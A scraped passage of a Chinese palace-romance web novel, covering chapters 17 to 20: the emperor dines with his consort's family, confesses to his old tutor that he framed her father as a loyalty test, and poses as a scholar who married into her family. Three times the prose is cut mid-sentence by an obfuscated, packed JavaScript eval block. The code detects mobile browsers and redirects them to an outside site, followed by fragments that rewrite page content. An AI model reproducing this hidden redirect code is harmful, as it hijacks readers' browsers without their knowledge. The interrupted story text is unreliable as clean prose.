他夹起那块茄盒咬了一口，外酥里嫩，咸鲜适口。抬眼看向一旁目含期待的裴氏，停顿片刻，自然开口：“岳母的手艺，确实比御厨更胜一筹。” “岳、岳母？！”夏翀被这两个字惊得筷子“啪嗒”掉在桌上，连声道，“使不得！皇上，这于礼不合啊！” 裴氏却明显松了口气。 连日来悬着的心——对小女儿在深宫处境的担忧，对天家威严不可亲近的想象，此刻忽然都落回了实处。 她激动得有些语无伦次，那股质朴的善意却再真切不过：“皇上喜欢吃就好！我…我拿手菜还多着呢！您多住些日子，我天天给您换花样……” “朕是要多住些时日。”萧翊素来对口腹之欲不甚热衷，今夜对着这桌食材寻常、摆盘朴拙却香气扑鼻的家常菜，竟难得食指大动。 眼见寒暄下去菜要凉了，索性亲自将身旁另一张椅子拉开，朝夏翀示意：“夏卿，坐。” 夏翀战战兢兢坐下，半个屁股悬着，又想起什么似地急问：“皇…皇上方才说要多住些日子？” “正是。”萧翊接过夏清圆递来的热汤碗，氤氲热气模糊了他冷峻的轮廓。 他语气平常，却抛出一句石破天惊的话：“朕此番，要以夏家扬州远房表亲的身份，参加今科会试。” “参加会试？！”夏翀“腾”地又站了起来，见萧翊身边只带了个沉默的年轻侍卫（霍刀），更是急得语速飞快，“万万使不得！科举期间京城鱼龙混杂，皇上的安危岂容有失？况且连考数日，耗神费力，龙体如何吃得消？还有这身份文书、户籍路引……” 他一个人絮絮叨叨，陷入忧国忧民的深思。 桌上其他人却早已自动忽略了他的焦虑。 裴氏被那声“岳母”叫得心花怒放，正忙着追问：“皇上平时爱吃什么口味？可有忌口？” 心里头已经飞快地盘算起明日后日的菜单了。“那些学子备考的书院又冷又挤，皇上要去体察，早上可得吃饱穿暖了。正好扬州老家的亲戚捎来了肥美的湖蟹和新香米，明儿一早我熬一锅蟹黄米粥，再配上霜腌的小菜和方酥……” 萧翊听着这琐碎而真切的念叨，反而觉得夏家这种喧闹、质朴、充满烟火气的家庭氛围，成为他潜意识里对一种可望不可即的寻常伦理关系的短暂试探和体验。 含笑接口道：“清圆提过，府上自酿的虾籽酱油，很是鲜美。” “有有有！”裴氏笑得见牙不见眼，忙不迭应道，“那明儿再用这酱油烧个滑溜鱼片！” 说着用手肘碰了碰还在神游的夏翀，“你记着，明早去东市挑条最新鲜的鳜鱼回来！” 夏翀俸禄不丰，京中开销又大，纵使升官乔迁，夏家也未多添仆役。裴氏乐得亲自操持，屋里屋外打理得井井有条。 萧翊目光环顾四周—— 庭院布置清雅，不见金银玉器，反倒是书架随处可见，卷帙盈室，处处透着笔墨清香与质朴的文人气息。他心下对夏翀的清廉自守多了几分赞许。 夏清圆悄悄拽了拽萧翊的袖子，凑近他耳边，声音轻软得像羽毛搔过心尖：“皇上…您这样，好像…忽然有了人味儿。” 她望着他侧脸在暖黄灯光下柔和的线条，心头那桩数月来一直悬于云端、尊贵却缥缈的姻缘，忽然就落到了实处，生出踏实的暖意来。 这厢你一言我一语，气氛正逐渐活络热闹起来，忽然一个高高壮壮、肩宽背阔的青年径直走进花厅，带着一身室外清冽的寒气。 他仿佛没察觉厅内微妙的气氛，拉开夏青枫旁边的椅子便坐下，端起碗就闷头扒饭，含糊问道：“娘，今儿怎么做了这么多菜？” 夏清圆抿嘴一笑，唤道：“大哥？” 夏青樟闻声抬头，愣愣道：“圆圆回来了啊……”话未说完，目光猛地定格在对面的萧翊身上。 他急急咽下饭菜，“扑通”一声跪倒在地，叩首行礼，声音洪亮板正：“草民夏青樟，叩见皇上，吾皇万岁万岁万万岁！叩见婉昭媛娘娘！” “大哥快起来！”夏清圆忙起身去扶。 夏青樟站起身，看看爹娘，又瞅瞅一脸浑不在意的弟弟，眉头紧锁，转向萧翊，依旧持礼甚恭：“皇上驾临寒舍，夏家等不胜荣光。然皇上万金之躯，如此……于礼不合，还请皇上三思！” 萧翊算是看明白了。 夏清圆和夏青枫这姐弟俩跳脱机灵的性子随了母亲，而夏青樟这副一板一眼、谨慎持重的模样，简直比夏翀还要老成。 他眼中掠过一丝不掩饰的笑意，道：“听闻青樟自幼习武？明早卯时，陪朕过过招如何？” 在这般既热闹又透着些许诡异温馨的氛围里，一顿家宴总算用毕。 夏翀望着那位泰然自若的“天降贵婿”，也只得在心中长叹一声，不知是福是祸。只好认命般地接受了这个事实。 ——毕竟，对夏翀这样的“硬骨头”纯臣来说，封官晋爵是公事，而今日与皇上的“同席共箸”、那声“岳母”，是无上荣光的“私恩”。皇上用最低的成本，快速消除了夏家人一直以来对皇权的恐惧和隔阂，完成了最有效的情感投资和忠诚绑定。 烛火摇曳，将一室人影拉得长长，交织在青砖地上，暖意融融。 凤仪宫的重重殿宇在夜色中显得格外空旷。 今日十五，照例，皇上是要来中宫的。 皇后俯身于紫檀长案前，将大皇子这几日写的大字一一铺开，指尖轻抚过那些尚且稚嫩的笔锋，仔细挑出最端正的几张，一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16908794|192431||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 张张叠放齐整——这也是惯例，待会儿皇上若来，总要给他看看昀儿的进益。 戌时已过，更漏声声。 宫门外终于传来脚步声，皇后扬起嘴角，抬眼望去—— 进来的却是独自一人的吴全顺。 “奴才给皇后娘娘请安。” “皇上呢？”皇后的声音依旧平稳，指尖却无意识地捏紧了手中一张写得稍显歪斜的字纸。 吴全顺垂首，照皇上的吩咐回禀：“回娘娘的话，皇上带着婉昭媛……出宫逛庙会去了。” “逛……庙会？” 饶是皇后素来沉稳持重，这三个字也像一枚投入静湖的石子，在她心间荡开一圈意外的涟漪。 她与皇上成婚九载，自认深谙其心性。 皇上理智近乎冷情，最重规矩体统，向来一心扑在朝政经纬上，于儿女情长之事上从不分心。 后宫嫔妃，在她看来，或是出于礼制充盈，或是牵涉前朝平衡，皆是寻常。 她因此笃信，自己作为中宫之主、天子家臣，才是皇上身边最不可或缺、不可取代的存在。 可这“逛庙会”三字，轻飘飘的，却让她这份笃定裂开了一道细缝。 “皇上吩咐了，”吴全顺的声音将她的神思拉回，“这几日宫中诸事，还请娘娘如常打理。若遇难以决断之事，可让奴才传话给赵统领，由他转呈皇上定夺。” 皇后回过神来，压下心头骤然涌起的那股说不清道不明的滞闷，面色如常：“本宫知道了。” 待吴全顺的脚步声消失在宫道尽头，皇后却并未立即转身回殿。 她就这么静静伫立在廊下，初冬的夜风带着寒意，卷起她织金凤纹的裙裾。她望着宫墙外沉沉的黑夜，仿佛能看见那遥远市井中闪烁的灯火与喧闹的人声，一时竟有些出神。 心头那点茫然，并非源于嫉恨，更像是一种长久笃信的路径忽然偏移的无所适从——仿佛一身力气，忽然不知该往何处使了。 “主子，夜里风硬，仔细着了凉。”郁嬷嬷悄步上前，将一件厚实的锦缎披风轻轻搭在她肩上，温声劝道，“皇上要抬举夏家，对婉昭媛难免多几分眷顾，这是情理之中。娘娘万不可因此……错了主意。” “嬷嬷，本宫省得。”皇后拢了拢披风，声音很轻。 她此刻心中的郁结，其实并非为了妃嫔间的争风吃醋，而是一种更微妙、更尖锐的警觉—— 她忽然意识到，似乎有人能以某种她未曾料想的方式，越过森严的礼制与名分，触及乃至分享那至高无上权力核心。 这认知让她有些不解，但更多的是警惕。 “夏家……”她低声重复，像是要把这两个字嚼碎了分析。 强迫自己抽离那丝莫名的情绪，重新以她最擅长的、帝王的视角来审视这一切。 她转身走回殿内，目光扫过案上那叠精心挑选的大字，忽然失了兴致——随手将它们拂落，几张宣纸飘悠悠坠入一旁取暖的鎏金火盆边缘，被跃动的火舌迅速舔舐、卷曲、化为灰烬。 火光映亮她沉静的侧脸。 就在这明灭之间，她垂眸，瞥见火盆中另一份尚未燃尽的信纸残骸——那是白日里冯国公府送来的家书，字里行间，无外乎又是催促她为那位外室所出的二小姐冯瑚，在京中谋一门“好亲事”。 皇后的目光在那焦黑的信纸与盆中跳跃的火焰之间停留片刻，眼底深处的波澜渐渐平息，复归一片深潭般的冷静与算计。 她抬眼，看向郁嬷嬷，语气恢复了往日商议宫务时的平稳清晰，仿佛方才刹那的失态从未发生： “嬷嬷，本宫记得……夏翀长子，似乎尚未婚配？” 火盆中，最后一点信纸化为飞灰，袅袅升起，消散在温暖的殿宇之中。 18. 帝心 夜色更深，夏翀和裴氏让出了主院给萧翊和夏清圆，老两口则搬去偏院。 裴氏遣了全府仆役洒扫布置，夏翀又拉着霍刀千叮万嘱，直到霍刀无奈透露赵羯早安排了暗卫值守，他悬着的心才勉强落回肚子里。 这一番折腾落定，已临近子时。 裴氏从霍刀那里要来萧翊提前备下的寻常衣物，摸着单薄的布料，总觉得不够御寒。 她翻出新棉花，就着昏黄的烛火，一针一线往衣里缝着夹层。 夏翀却根本睡不着，在房间里来回踱步，官靴踏在青砖地上发出沉闷的声响，伴随着一声接一声的叹息。 “别走了，晃得我眼晕。”裴氏把油灯挪近些，穿针引线的手却没停。 想起女儿，她嘴角不自觉地扬起：“我原还担心圆圆，可今日瞧着，她与皇上处得真好。难得皇上这般……随和。” “妇人之见！”夏翀猛地停步，胡子都气得翘起来，“你懂什么！咱们家受的私恩越重，来日就越危险！” 裴氏只当他又犯谨慎的毛病，轻嗤一声：“你别不知好歹。” “一声‘岳母’就让你找不着北了？”夏翀心头烦闷正需宣泄，索性将利害掰开揉碎，“皇上私访这事迟早要公之于众。届时在朝臣百姓眼里，夏家就是天子的‘私臣’。一旦党争、削藩摆上明面，或是……局势有变，咱们家就是首当其冲的箭靶！” 裴氏放下针线，静静听着。 “皇上若真疼惜圆圆，岂会让她担着被言官口诛笔伐的风险，这般冒失地带她出宫？这分明是把她当成了在后宫冲阵的棋子！” 夏翀越说越急，声音压得极低却字字锥心： “再说，我冷眼瞧了这些日子，帝王心术……深不可测。向维明流放琼州就是警钟。一旦来日皇上再行激进之举，引得群臣非议，咱们家怕是要被钉在‘佞幸祸水’的耻辱柱上！” 这番话像一盆冰水浇下，裴氏指尖一颤，针尖险些扎进肉里。 她抬起头，脸色微微发白：“那……那怎么办？” “若皇上真是为天下百姓谋，我夏家当这个靶子……便当了！”夏翀咬牙，眼底闪过一丝孤注一掷的光，随即又化为更深的忧虑，“可若只是借改制之名行弄权之实……咱们得想条退路。” 最后，所有思虑都化为一缕沉重的叹息：“罢了，走一步看一步罢。” “险些忘了！”裴氏从袖中摸出一张折好的字条展开，上面写着几味药材名，“圆圆方才背着皇上，让我明日去裴府，找她大舅母打听这几味药。” 夏清圆琢磨着，季太医既敢偷盗宫中药材，必然不敢公然售卖，只能去黑市销赃。裴家在京城有几间药铺经营多年，自有门路。 “后宫也不太平啊。”夏翀摇头，看穿了女儿的用意，低声嘱咐，“行事务必隐秘。” 到了这步田地，夏翀反倒生出几分“虱子多了不痒”的认命，不再想着抽身，反而开始琢磨如何在这漩涡中站稳。 他忽然没头没尾地说：“如今看来，青樟走武举的路子……或许是好事。” 刚熄灯躺下不久，卯时还未到，前院门房又匆匆来叩门—— “老爷？谢大人来了！” 夏翀一个激灵翻身下榻，披衣趿鞋便迎出去。谢停云步履如风，满面怒容，险些与他撞个满怀。 “皇上呢？”谢停云劈头就问，身后跟着一脸无奈的赵羯——显然是没拦住。 “这才几时……”夏翀本就因昨日朝上谢停云主张“缓查”晒金案，心中存了疙瘩，正想理论几句，“昨日朝上你——” 话未说完，便被老友压低嗓音的叱责打断：“陪着皇上如此胡闹，你不要命了？” 谢停云转头又瞪向灰头土脸的赵羯：“你身为禁军统领、天子近臣，连规劝圣驾都不会？” 赵羯瘪了瘪嘴，没敢顶撞，可那神情分明在说：我能劝得住吗！ 夏翀也无处说理，只得将谢停云引至书房，又差婆子去主院外候着。 关上门，他终究没忍住，旧话重提：“昨日朝上……” 谢停云瞥了眼窗外，确认赵羯已走远，反手将书房门关严，恨铁不成钢地骂道：“你怎么就不懂我的苦心！这些年真是白相交了！” 夏翀根本插不进话，只听他继续道：“督查科举也就罢了，总算你分内之职。可土地改制、状告皇亲……你夏翀有多少家底、几颗脑袋，敢蹚这浑水？” “那嘴长在刑录身上，我怎知他要告御状？他前夜恰在我家门前，我怎知就那般巧……”夏翀辩到一半，脸色骤然惨白。 是啊！怎就那般巧！ 三箱金子出现在夏府门口时，怎就恰好让刑录三人成了人证？ 而这刑录，怎就偏偏是带着血书、在江陵学子闹事的领头人？ 谢停云见他终于回过味来，冷哼一声：“在外人看来，你就是与皇上一唱一和，借那三个学子之口当庭撕破南襄王的案子，好让皇上顺理成章严查！” 他长叹一声，语气缓了缓：“早告诫过你，三思而行，三思而行！” “我……可南襄王是皇上亲叔啊！” “你以为南襄王身为皇亲国戚，为何远避江陵？”谢停云压低声音，“文德太子在时，他为压制今上，可谓阴招出尽。太子殁后，他才自请就藩，再未踏出江陵城半步。” 夏翀想起这两日自己已竭尽全力思虑周全，不留把柄，却仍是……他胡须颤动，憋出一句：“可宋方程也未曾……” “宋方程那莽夫懂什么！”谢停云扫过老友苍白的脸色，有些不忍。 毕竟夏翀在翰林院闲职上蹉跎了大半生，能做到如今地步已属不易。 他按下火气，沉声道：“借学子闹事告御状，土地改制被摆上台面，下一步，皇上便借土改之名，拿南襄王开刀，行削藩之实。届时你夏翀是什么？是削藩的引信……” 门外传来脚步声，谢停云立刻收声，推了把僵立的夏翀。 门开处，萧翊迈步而入。 他未着龙袍，墨发仅用一根乌木簪随意束起，可周身气场却大变—— 褪去了宫廷中刻意维持的沉稳，显出一种率性而锐利的锋芒。 他慢条斯理地斟了盏热茶推到谢停云面前：“老师先暖暖身子。” “皇上，科举改制须徐徐图之，不可冒进啊！”谢停云接过茶盏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16908795|192431||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，苦口婆心，“请皇上回宫吧！” “朕不想徐徐图之。”萧翊收起唇角那点浅淡的笑意，一字一顿，如金石相击，“剜恶疮，须用利刃。我大齐的百姓、田地、学子，容不得那帮蛀虫再折腾！” 谢停云从萧翊五岁起便是帝师，天下无人比他更懂圣心，此刻问得直刺要害：“皇上如此激进，当真只为江山和百姓？” “为民办事，是朕身为君王的大义本分。” 萧翊呷了口茶，眸光锐利如刀，毫不掩饰更深层的动机，“可老师，朕非圣贤。当年若非太后与南襄王推波助澜，朕的生母不会暴毙冷宫，朕也不会过了那么多年仰人鼻息的日子。” 谢停云长叹一声，须发微颤，忽然想起什么，抬眼直视萧翊，声音发紧：“皇上！老臣斗胆再问一次……那三箱金子，当真……与您无关？” 萧翊从茶盏上抬起眼，烛火在他深不见底的眸中跳跃。 他唇角勾起一抹近乎冷酷的弧度：“老师以为，在天子脚下，谁能绕过朕的耳目，将三万两黄金悄无声息地送到一位新晋阅卷官府前？” 谢停云踉跄半步，扶住桌沿：“可……可那是构陷！是死计！夏翀若有一丝贪念，或应对稍有差池，便有身败名裂、家破人亡之祸！” “夏翀不是好好的？”萧翊语气平静，仿佛在陈述一件再寻常不过的事，“朕特地把赵羯的府邸安排在他官宅对面。也有人引着刑录到场，自然成为最有力的人证，在朝堂上说出朕需要的话。” 他手指在紫檀桌面上轻轻一叩，发出沉闷的响声。 “他通过了朕的考验。不是吗，老师？” “那……刑录等人状告南襄王……” 萧翊笑意加深，眼底却冰封千里：“有人欲贿赂夏翀是真，江陵学子联名血书是真，南襄王的罪也是真。朕只是……让这把该烧的火，能顺顺当当地烧起来。顺便看看，朝中有多少人会跳出来灭火，又有多少人……会暗中添柴。” 萧翊不是在修补旧屋，而是在纵火重建。夏翀一家，就是他选中的“火种”与“薪柴”。 谢停云忽然感到一阵深切的无力与苍老—— 那个曾经跟在他身后追问经史的孤苦少年，已成长为连他都无法全然看透的深沉帝王，执棋的手利落而冷酷。 “朕选夏翀，果然是对的。”萧翊揭开了最终答案，声音里带着一丝掌控全局的笃定。 “寒门学子看见夏翀这样的清流被破格擢升，自会备受鼓舞，不再忍气吞声。” “朝堂气象亦为之一新。朕只是提拔了一个纯臣，世家便按捺不住，纷纷动作。” “连向来宁折不弯的宋方程，都开始学着审时度势了；而老师您……这些年求稳中庸，朕已许久未见您近日这般，为一人一事如此疾言厉色、意气风发的模样了。” 谢停云沉默良久，终是深深一揖：“臣……明白了。” 他抬起头，眼中带着最后的恳求，“夏翀此人，是好人，是纯臣。还请皇上……无论如何，为他留一条生路。” “他是朕的福将。”萧翊起身，走到窗边，望向天幕渐渐褪去的夜色，声音清晰而沉稳，“朕自会善待。” 19. 悄悄 腊月清晨的阳光透过雕花木窗斜斜照入。 夏清圆醒来时已近巳时，帐幔低垂，锦被温热，昨夜像是数月来她睡的第一个踏实好觉，连梦都没做一个。 “醒了？”裴氏坐在窗边的小杌子上，手边小泥炉上煨着细陶罐，蟹黄米粥的鲜香气丝丝缕缕地溢出。 见女儿坐起身，将温热的粥碗递过去，语气里带着惯常的絮叨与一丝掩不住的忧心：“卯时不到皇上就起了，见了谢太傅、又与你大哥在院子里过了几招，用了早膳。这会儿……该是青枫陪着往邯山书院去了。” “皇上会功夫？”夏清圆捧着粥碗，有些诧异。 “何止是会。”裴氏摇头，想起晨间院中那短暂却凌厉的过招，声音压低了几分，“你大哥也算个‘好手’，可在皇上手底下……不过一刻钟，便败下阵来。” 看着女儿小口啜粥、尚带着惺忪睡意的侧脸，她心头那点忧虑又浮了上来。 头一次，用一种近乎恳切的语气劝道：“圆圆，往后在宫里，尤其是对皇上……你要多长个心眼，多用些心。” “我知道的，娘。”夏清圆应着，小口小口地喝着温润鲜美的粥，可神情却不像全然放松，眉间拢着一层极淡的、心事重重的影子—— 回家，躺在这张熟悉的床榻上，嗅着屋里熟悉的气息，她本该感到踏实。 可奇怪的是，她脑子里反复盘旋的，竟是宫中那些未了的纠葛。 她抬起眼，看向母亲：“舅母那边……回话了吗？” “我一早亲自去见了你舅母。”裴氏搁下手中绣了一半的帕子，正色道，“她这趟来京，既是为探望你我，也要顺路核对裴家药铺的账目，年底了，总得盘一盘。” 她顿了顿，继续道：“你舅母说，像犀角、麝香、海马这类名贵药材，因其来路复杂，常常通过黑市或有些背景的药铺私下买卖，只要不闹出人命官司，大抵是民不举官不究，几乎月月都有。” 夏清圆静静听着，长长的睫毛在眼下投出一小片阴影。 与此前被动卷入风波时的惶惑不安不同，此刻她心里，竟破土而出一种隐秘的、近乎跃跃欲试的快感。 这感觉陌生又清晰，大约来源于她在萧翊身边日久，亲身经历了权力如何翻云覆雨，所以被诱惑着，想更靠近权柄。 “但是，”裴氏话锋一转，神色凝重了些，“你舅母提起一桩怪事。前几日，有人拿着两支品相极好的辽东贡参，挨家药铺询价，想变现。掌柜掌眼后觉得那参的成色、炮制手法不像民间能有的，怕来路蹊跷惹祸上身，没敢收。” “后来隐约听说，那人又辗转拿到更隐秘的黑市去寻买主，此后便下落不明了。” 辽东贡参……夏清圆心头一跳。 每年十月底，辽东的贡品车队便会抵京，宫中，是这等品相贡参唯一合理的来源。 时间，也正对得上。 “店里掌柜可记得，要卖参的是何人模样？”她追问道，声音不觉紧了些，“是不是……看着穿着考究？或者像是大夫模样的？” 裴氏的目光细细描摹着女儿此刻沉静的眉眼，那里面透出一种她有些陌生的、审慎而专注的光芒。 她忽然有些恍惚，几乎想不起那个在家时能躺着绝不坐着、爱看话本傻笑、喜怒皆形于色的娇憨女儿是什么样子了。 “掌柜说，”裴氏收回思绪，摇了摇头，“看说话做派和穿着，倒更像是城外庄子上的人，粗手大脚，不像是有什么家世的，所以才奇怪。” “是奇怪……”夏清圆蹙起眉，指尖无意识地摩挲着温热的碗壁。 庄子上的人，是怎么和太医院的药材、和季太医扯上关系的？难道是她查错了方向，季太医偷盗药材另有销赃的门路？ 沉吟片刻，她抬起头，眼中闪过决断：“娘，咱们家现在……有没有可靠又机灵的人手？最好是生面孔，不大起眼的，我想让他替我办点事。” “人手？”裴氏迟疑了。 夏府仆役本就不多，大半是跟了他们夫妇多年的老人，忠心可靠，但面孔太熟；剩下些则是新买不久的小丫头，难当大任。 可靠的倒有，机灵的生面孔却实在难寻。 目光在屋内逡巡，忽地灵光一现：“飞鸿怎么样？那孩子从小跟着青枫，天南海北地跑，最是活泛机警，身手也好。” 用过早膳，夏清圆让荔枝寻了件浅蓝色菱花纹的寻常夹袄换上。 头发只松松绾了个髻，簪了支素净的羊脂玉钗，脸上脂粉未施。 又让荔枝备好一袋散碎银子和铜钱，并几样宫里带出来的精巧点心，主仆二人便往夏青枫独居的东小院去了。 一进院门，饶是早有心理准备，夏清圆还是被眼前的景象震得顿了顿脚。 院子里几乎没个下脚的地方——打开的箱笼、散落的衣物、奇形怪状的矿石标本、晒干的草药、半成型的木工玩意儿…… 林林总总，堆得满坑满谷，活脱脱一个刚遭了洗劫的杂货铺。 从一堆狼藉里，“嗖”地探出个灰扑扑、乱发支棱的脑袋，脸上还沾着点不知名的污渍，眼睛却亮得惊人，活脱脱一个野地里的皮猴成了精—— “二小姐！”那声音带着雀跃，话说一半，似乎想起什么，忙从杂物堆里手脚并用地爬出来，站定了，胡乱拍了拍身上的灰，然后似模似样地抱拳，深深一揖，“婉昭媛娘娘好！” “扑哧——”旁边的荔枝先忍不住笑出声来，拿帕子掩着嘴，“你这叫什么礼数？四不像的！” 飞鸿挠了挠后脑勺，嘿嘿一笑，露出一口白牙，转向荔枝又拱了拱手：“荔枝姐姐好！” 又对夏清圆道，“二公子一早就陪着……陪着贵客出门了，看架势，估摸着一时半刻回不来。” 飞鸿是个孤儿，爹娘遭饥荒饿死了，被裴氏心善捡回来，从小和夏青枫一块儿长大。 大了些，夏青枫不愿拘在家里读书，跟着裴家药商天南地北地跑，飞鸿便是他最忠实的跟班和帮手。 夏家上下没人真把他当仆役使唤，夏翀和裴氏待他宽厚，夏青枫更是当他亲兄弟一般。 “我今儿是来找你的。”夏清圆也不绕弯子，示意荔枝把那个描金点漆的食盒打开，里面各色宫制点心做得玲珑可爱，香气诱人，“边吃边说。” “嘿嘿，”飞鸿眼睛一亮，也不客气，拈起一块荷花酥就塞进嘴里，含糊道，“还是二小姐……不，娘娘想着我！宫里师傅的手艺就是细，甜而不腻！” 夏清圆等他吃了两块，才敛了笑意，正色道：“有件要紧事，想托你去办。” “太医院有位季太医，你这几日，得空便去帮我留意着他的行踪，看他平日去哪里，见什么人，特别是……有没有去些药铺、当铺，或者不太寻常的地方。” “跟着个太医？”飞鸿嘴里嚼着点心，随口问，“跟他干什么？他欠咱家钱啦？” “让你跟着你就跟着！哪来那么多废话！”荔枝在一旁笑骂，顺手将那个沉甸甸的碎银子包袱扔到他怀里，“喏，给你的盘缠。机灵点，别让人察觉了。” 飞鸿接过银子掂了掂，立刻眉开眼笑，把胸脯拍得砰砰响：“二小姐放心！包在我身上！保准连他一天上几回茅房都给您记清楚喽！” 交代完飞鸿，夏清圆只觉那身被宫里规矩约束久了的“懒骨头”又犯了瘾，阳光暖洋洋地晒在身上，只想窝在廊下的摇椅里，就着点心看话本，混过这半日闲暇。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16908796|192431||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 可念头一转，想起萧翊此刻正在那书院里，自己既然跟了出来，总得有个“贤惠”的样子。 她不大情愿地拖着脚步，挪去了小厨房—— 话本里，那些寒窗苦读的书生，总有个红袖添香、洗手作羹汤的娘子。 “粥要熬得糯而不烂，小菜要清爽可口，馒头要喧软热乎……” 看着食盒里渐渐装妥的清粥、酱瓜、卤蛋并几个白白胖胖的馒头，她满意地点点头，自觉已尽了“心意”。 戴上遮挡面容的轻纱帷帽，夏清圆带着荔枝，乘着一辆雇来的青布小车，晃晃悠悠往城外的邯山书院去。 “小姐，你说这邯山书院，到底是何人开办的？”下了马车，荔枝仰头望着书院门前那方朴拙的乌木匾额，又看看院内院外摩肩接踵、衣着朴素的学子们，忍不住咋舌盘算，“这么些人，光每日的吃住嚼用就是一大笔开销，还有笔墨纸砚的损耗……这得多厚的家底才经得住？” “听爹爹提过一嘴，”夏清圆扶了扶帷帽，轻声答道，“说这书院背后的东家，似乎是城外普觉寺的住持。大约也是为结个善缘，给寒门学子行个方便。” 待主仆二人步入书院之内，喧嚣热烈的气息扑面而来—— 庭院里、廊檐下、甚至石阶旁，到处是三三两两聚在一处的学子。 有的捧着书卷念念有词，有的慷慨激昂地争论着经义时策，有的则围在一起吟诗联句。 而沸沸扬扬议论最多的，便是前日夏翀夏大人在府门前“晒金明志”的壮举。 “……夏大人真乃吾辈楷模！清风两袖，冰肝雪胆！” “正是！有此等清流主持科场，吾等寒窗十年，总算有望！” “那些魑魅魍魉，竟想以黄白之物玷污圣洁科场，真是痴心妄想！” 夏清圆穿行其间，帷帽下的唇角忍不住微微扬起。 有这些士林清议的支持，爹爹那阅卷官的位置，想必能坐得更稳当些。她连日来悬着的心，总算往下落了几分。 主仆二人缓步穿行，目光在人群中细细搜寻。 裴氏说萧翊今早穿了件半新不旧的靛蓝布袍出门，可放眼望去，衣着相似的青年学子何止十几个。 正有些踌躇，后颈忽然被树枝挠了挠—— “找我呢？”一个带着笑意的、熟悉的声音在上面响起。 夏清圆吓了一跳，猛地回头，却见身后空无一人。 视线下意识上移，只见旁边一棵老槐树的枝桠间，夏青枫正优哉游哉地躺在粗壮的横杈上。 夏清圆没好气地瞪了他一眼：“吓死人了！皇……我夫君呢？”她及时改口，声音压低。 “那儿呢……”夏青枫懒洋洋地抬手，用下巴朝着不远处一簇围得最密的学子堆点了点。 夏清圆顺着他指的方向，踮起脚尖，伸长了脖子，用了十二分的眼力去辨认—— 那簇人中间，一个穿着洗得发白的靛蓝布袍、身形挺拔却的年轻人，正与周围人激烈地辩论着什么，声音也有些沙哑。 她睁大了圆溜溜的杏眼，仔细瞧了好一会儿，才终于从那侧脸转过来的瞬间，捕捉到一丝熟悉的轮廓—— 可那人脸色灰黄，眼角多了一颗显眼的黑痣，唇上还粘着两撇颇为别扭的八字胡，配上那激昂却略显迂阔的谈吐，活脱脱就是个怀才不遇的穷酸书生模样！ 那“穷酸书生”似有所感，在挥斥方遒的间隙，目光状似无意地扫过这边，恰好与夏清圆藏在帷帽纱帘后的视线撞个正着—— 他顿了顿，随即，那双掩在平凡伪装后的深邃眼眸里，极快地掠过一丝唯有她能懂的、狡黠而愉悦的笑意，甚至还几不可察地，朝她轻轻眨了下眼。 20. 赘婿 夏清圆快步走近，将食盒轻轻放在他身旁，声音隔着纱帘，软软糯糯地传来：“夫君，用饭了。” 这一声“夫君”，像一颗石子投入平静的湖面。 周围原本埋头吃饭的学子们，齐刷刷抬起头来，目光在这对“夫妻”身上来回打转—— 一个穿着洗得发白的布袍、面色蜡黄、唇上还粘着两撇滑稽八字胡的穷酸书生； 一个身段窈窕、衣饰得体、声音温软的体面娘子。 这对比实在太过鲜明。 “宋兄……”旁边一个与萧翊相熟了的学子凑过来，压低声音，眼里满是不可思议，“这、这是尊夫人？” 萧翊面不改色，从容打开食盒——里面是温热的清粥、几样清爽小菜、还有几个白胖喧软的馒头。 他拿起一个馒头，掰开，慢条斯理道：“正是内子。” “嘶——”周围响起一片倒吸凉气的声音。 几个年轻学子互相交换着眼神，那里面写满了“这书生何德何能”。 终于有人忍不住，半开玩笑地问：“宋兄，尊夫人这般品貌……不知府上是？” 他话没说完，但意思已经很明显——你一个穷书生，怎么娶得起这样体面的娘子？ 萧翊咬了口馒头，嚼了两下，才抬眼：“内子是夏翀夏大人在扬州老家的表侄女。” “夏大人的亲戚？！”众人惊呼。 眼看周围聚拢的人越来越多，连几个原本在远处用饭的学子都端着碗凑过来看热闹，他灵光一闪，心一横—— “实不相瞒…”萧翊顿了顿，似乎在斟酌用词，最终吐出三个字，“算是……入赘。” 他清了清嗓子，声音里带上几分恰到好处的“惭愧”，“宋某家中……确实清贫。能考功名，全赖岳家资助。” “入赘”两个字一出，周围先是一静，随即响起一片恍然的“哦——”声。 “噗——” 不知谁先笑出声来，紧接着，周围爆发出一阵善意却毫不掩饰的哄笑。 “宋兄好福气啊！” “入赘怎么了？能娶到这样的娘子，便是入赘十次我也愿意！” 刑录拍了拍萧翊的肩膀，语气诚恳：“宋兄不必介怀。夫妻和睦便是福分，何须在意这些虚名。” 邓书满也点头：“正是。夏大人的亲戚，定然是知书达理的好人家。” 夏清圆隔着帷帽，脸颊早已烧得通红。 